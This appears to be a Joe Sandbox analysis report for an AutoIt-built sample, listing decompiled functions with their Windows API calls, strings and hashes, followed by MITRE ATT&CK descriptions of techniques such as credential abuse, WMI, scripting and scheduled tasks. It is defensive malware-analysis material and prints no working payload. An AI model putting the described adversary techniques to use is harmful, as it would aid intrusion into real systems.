Download Yara Rule

APIs

Part of subcall function 00FD600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00FD604C
Part of subcall function 00FD600E: GetStockObject.GDI32(00000011), ref: 00FD6060
Part of subcall function 00FD600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 00FD606A

GetWindowRect.USER32(00000000,?), ref: 0106377A
GetSysColor.USER32(00000012), ref: 01063794

Strings

static, xrefs: 01063757

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 57e4ab82a242456c184536177663147bec98f75e4771488733c5a753d8b9d6d0
Instruction ID: ab0ddae9897c3ee72879365b7664d3abaf26280e48eaf7056af3340001df826b
Opcode Fuzzy Hash: 57e4ab82a242456c184536177663147bec98f75e4771488733c5a753d8b9d6d0
Instruction Fuzzy Hash: 70113A72610209AFEF11DFA8CD45EEE7BF8FB08354F004515F995E6250D779E8509B90

Function 0104CD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0104CD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 0104CDA6

Strings

<local>, xrefs: 0104CD66

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: c5aa6b000b87ce6d376617803f54bc63139999bdfb93ff4b1f6c0dfd803b240c
Instruction ID: 78e9e37e246de2ed616550a12d5f843f12cbc563380a6d99c1161c9a2981b378
Opcode Fuzzy Hash: c5aa6b000b87ce6d376617803f54bc63139999bdfb93ff4b1f6c0dfd803b240c
Instruction Fuzzy Hash: 0C1106B12026317BE7786A668D84EE7BEACEF026A4F00422AB1C983080D3759440C6F0

Function 01063429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 010634AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 010634BA

Strings

edit, xrefs: 0106348F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 8e88538d751e03edf3a33c057393ed528c1df47572925ff370f4b9a076ee442c
Instruction ID: 06b7080dae4719a3b0b6a3d17808dcb6dc14b822241334272673d0058fdb69d0
Opcode Fuzzy Hash: 8e88538d751e03edf3a33c057393ed528c1df47572925ff370f4b9a076ee442c
Instruction Fuzzy Hash: 9011B275100104ABEB624E68DC44AEB77AEFF05374F504314F9E89B1D4CB75EC519790

Function 01036C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

CharUpperBuffW.USER32(?,?,?), ref: 01036CB6
_wcslen.LIBCMT ref: 01036CC2

Strings

STOP, xrefs: 01036CBC, 01036CC1

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: c27972536f8ad7846dd25a27fef1bde6b2ce1f27ac26d235ebc3d767077fe182
Instruction ID: 960dcd8978e8cf357e70fd57faf32659b876aa30154f9aeff6403499b792b72a
Opcode Fuzzy Hash: c27972536f8ad7846dd25a27fef1bde6b2ce1f27ac26d235ebc3d767077fe182
Instruction Fuzzy Hash: BC010832E1052A9ACB21AFFDDC448BF77F9EA91614B000565E49296195EA37D640C750

Function 01031CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

Part of subcall function 01033CA7: GetClassNameW.USER32(?,?,000000FF), ref: 01033CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 01031D4C

Strings

ListBox, xrefs: 01031D16
ComboBox, xrefs: 01031CEB

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: cfd6d3ab82d5f6db84c873985e60766f5a6ec24881753a5b52f270614550c89b
Instruction ID: 7eb65ae739bac252bfb5e4362b5a2ea2334261254b9938262f13ab70fa0dc5b5
Opcode Fuzzy Hash: cfd6d3ab82d5f6db84c873985e60766f5a6ec24881753a5b52f270614550c89b
Instruction Fuzzy Hash: 2D012431600229AB9B08FBA4CC54CFE77ADFB9B350B44061AF8B25B3C0EA7458089760

Function 01031BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

Part of subcall function 01033CA7: GetClassNameW.USER32(?,?,000000FF), ref: 01033CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 01031C46

Strings

ListBox, xrefs: 01031C10
ComboBox, xrefs: 01031BE5

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: ad77f1ce5a5afa618a62972c14921a686935dd3d90f210694c92ad1792db30a3
Instruction ID: 563697851b7a4acaf70ba6249909281b05f5c56bedeab94490279645a306ec2e
Opcode Fuzzy Hash: ad77f1ce5a5afa618a62972c14921a686935dd3d90f210694c92ad1792db30a3
Instruction Fuzzy Hash: 2C01477171010D66DF04EBE2CE519FF77ED9B56340F04001AB49267281EA74AE0897B1

Function 01031C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

Part of subcall function 01033CA7: GetClassNameW.USER32(?,?,000000FF), ref: 01033CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 01031CC8

Strings

ListBox, xrefs: 01031C94
ComboBox, xrefs: 01031C69

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 2c330cc9a0ba6b777744399cfc394ebbdfe437ecd69eaaa4bb615e8260ae1a4b
Instruction ID: d7ef093abf0e493ed38da9c99dc941fef1a1500b4953c4e79ad1c0ba666c9271
Opcode Fuzzy Hash: 2c330cc9a0ba6b777744399cfc394ebbdfe437ecd69eaaa4bb615e8260ae1a4b
Instruction Fuzzy Hash: 2401267171011D67DF04EBE5DE11AFF77ECAB65340F04002AB88267281EA749E08D771

Function 01031D68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

Part of subcall function 01033CA7: GetClassNameW.USER32(?,?,000000FF), ref: 01033CCA

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 01031DD3

Strings

ListBox, xrefs: 01031DA0
ComboBox, xrefs: 01031D75

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 6fd57bb43b4ee2b12900f0a85e446413e69a419c665ccb29cdd157c07cc1b82a
Instruction ID: bb19a0d1160db926fc4a7bdb5b8313831591d0608686b790aff16cc1552028ca
Opcode Fuzzy Hash: 6fd57bb43b4ee2b12900f0a85e446413e69a419c665ccb29cdd157c07cc1b82a
Instruction Fuzzy Hash: 12F04F30B1022966DB04F7E5DC95AFF77ACAF46340F08080AB8A2672C0EAB4590892A0

Function 0105747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 01057493
_wcslen.LIBCMT ref: 010574B9

Strings

3, 3, 16, 1, xrefs: 01057483

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: 2bb586554f33403a0af5991ddeab46a70cdd7021613e2800ca60b4497247c158
Instruction ID: c7834f9832c7fe5ae35c83dc12b96ef683d21a08dfcd2429d0f8057c0e3bc97d
Opcode Fuzzy Hash: 2bb586554f33403a0af5991ddeab46a70cdd7021613e2800ca60b4497247c158
Instruction Fuzzy Hash: 2BE0E5023112201093B1127A9CC197F7EC9CFC5650794182EFEC5C2266EF98DD91B3A0

Function 01030B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 01030B23

Strings

Error allocating memory., xrefs: 01030B1C
AutoIt, xrefs: 01030B17

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: 25f761c784428f1272c8df18bc1f9d3c538987ffd928b559bde7be5fbe42b0ff
Instruction ID: 6eead795e3612027ea779cc3ef8643bab27495dc083cfdc098e13e687c59f56d
Opcode Fuzzy Hash: 25f761c784428f1272c8df18bc1f9d3c538987ffd928b559bde7be5fbe42b0ff
Instruction Fuzzy Hash: 15E0D83124434C36E32436567D03F897A888F05F20F10442BF7D8995C38ADA245022A9

Function 00FF0D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00FEF7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00FF0D71,?,?,?,00FD100A), ref: 00FEF7CE

IsDebuggerPresent.KERNEL32(?,?,?,00FD100A), ref: 00FF0D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00FD100A), ref: 00FF0D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00FF0D7F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: a70f140f35858573a67155f0e4c1b70fe5bdc0166f821d53d6593278f35603c6
Instruction ID: f55ddc6e0259c8ac388cbdf8b67a97e2262a00fa348e7481cb837b88ed893b51
Opcode Fuzzy Hash: a70f140f35858573a67155f0e4c1b70fe5bdc0166f821d53d6593278f35603c6
Instruction Fuzzy Hash: C1E092742007528BE3309FB9E90875A7BE4AF04B44F04892DE9C6C7756DFBAE4449B91

Function 01043017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 0104302F
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 01043044

Strings

aut, xrefs: 01043038

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 5585dc3ee21d4a41873f90b30cb9faeb5af0b6e5912fb292a6e538f054bdcb23
Instruction ID: b0de322f861074c1c4c4526cad7b494af72b2df92950950543181a42fd6af11b
Opcode Fuzzy Hash: 5585dc3ee21d4a41873f90b30cb9faeb5af0b6e5912fb292a6e538f054bdcb23
Instruction Fuzzy Hash: 79D05B7150031467DB309695DD0DFC73A6CD704650F000151BAD5D6095DAB99544CBD0

Function 0102D21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0102D220

Strings

%.3d, xrefs: 0102D22B
X64, xrefs: 0102D2A8

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: 91d265535195b94fcfe945213ff31ebc3e5145c4d863809d88d0025aaecc6f35
Instruction ID: c2605fdff3a6a12a798048c8cc77502039c16bb4c3b68affc619abf43114d398
Opcode Fuzzy Hash: 91d265535195b94fcfe945213ff31ebc3e5145c4d863809d88d0025aaecc6f35
Instruction Fuzzy Hash: BED01271804129E9DB5096E1CC459BDB37CAB69211F40C452F986D1000D628C90C9B61

Function 01062322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0106232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0106233F

Part of subcall function 0103E97B: Sleep.KERNEL32 ref: 0103E9F3

Strings

Shell_TrayWnd, xrefs: 01062325

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 5b64c25f4ae78e2588b92b7cd2d8c77b671507061dc3c6a744c021c29acf0103
Instruction ID: 065754b167a40f88ba17c41289aaddedee89bb37441931858c097f6eabfae5fa
Opcode Fuzzy Hash: 5b64c25f4ae78e2588b92b7cd2d8c77b671507061dc3c6a744c021c29acf0103
Instruction Fuzzy Hash: F0D02232390300B7FA74B330EC0FFCABA08AB04B00F000A06B3C6AA1D4C9F5A800CB04

Function 01062356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0106236C
PostMessageW.USER32(00000000), ref: 01062373

Part of subcall function 0103E97B: Sleep.KERNEL32 ref: 0103E9F3

Strings

Shell_TrayWnd, xrefs: 01062365

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 962dba05881bdfb36587e7609565c75362cecdb4c829e92382bd813e88f8a68e
Instruction ID: fa14ebe6dda5564a093d81f50c0751174b859044498ac8e2ce33a0ff10faeef6
Opcode Fuzzy Hash: 962dba05881bdfb36587e7609565c75362cecdb4c829e92382bd813e88f8a68e
Instruction Fuzzy Hash: 26D0C73139131176F6747671DD0EFC675145754710F004516B6C5991D4D5B568418754

Function 0100BDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 0100BE93
GetLastError.KERNEL32 ref: 0100BEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0100BEFC

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: bab199c16eb2a2156af3ee7202441b0a57e9915ce419fae056258cc4f4cc603d
Instruction ID: bc403a280f34f076900621885b3f4e1979b6eca2cabfbe7435821262d6cd359e
Opcode Fuzzy Hash: bab199c16eb2a2156af3ee7202441b0a57e9915ce419fae056258cc4f4cc603d
Instruction Fuzzy Hash: A741B738604646AFFB738F68C844ABA7BE5AF41710F1441ADFAD9971E1DB328901CB60

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

